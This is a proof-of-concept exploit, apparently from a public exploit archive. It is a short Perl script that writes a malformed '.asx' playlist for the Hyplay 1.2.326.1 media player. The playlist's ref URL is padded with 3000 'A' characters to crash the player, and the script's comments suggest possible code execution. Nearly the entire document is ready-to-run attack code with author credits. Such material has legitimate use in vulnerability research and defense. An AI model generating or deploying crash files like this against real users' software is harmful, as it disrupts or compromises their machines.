Hyplay 1.2.326.1 – ‘.asx’ Local Denial of Service Crash (PoC)
#/usr/bin/perl #Title: Hyplay 1.2.326.1 (.asx) Local DoS crash PoC #Download: http://www.hyplay.com/download.asp #Written/Discovered by: xsploited Security #Tested on Windows XP SP2 #URL: http://x-sploited.com/ #Shoutz: kAoTiX, drizzle, JeremyBrown, BreTT, Deca #A bug exists in the way Hyplay processes malformed .asx play #list files. This could potentially lead to code execution on #the users machine. my $data1= "\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20". "\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72". "\x79\x3E\x0D\x0D\x0A". "\x3C\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20\x22"; my $data2="http://"; my $data3= #asx file footer "\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D". "\x0A\x3C\x2F\x61\x73\x78\x3E"; my $junk = "\x41" x 3000; open(my $playlist, "> hyplay_d0s.asx"); print $playlist $data1.$data2.$junk.$data3."\r\n"; close $playlist; print "\nEvil asx file created successfully."; |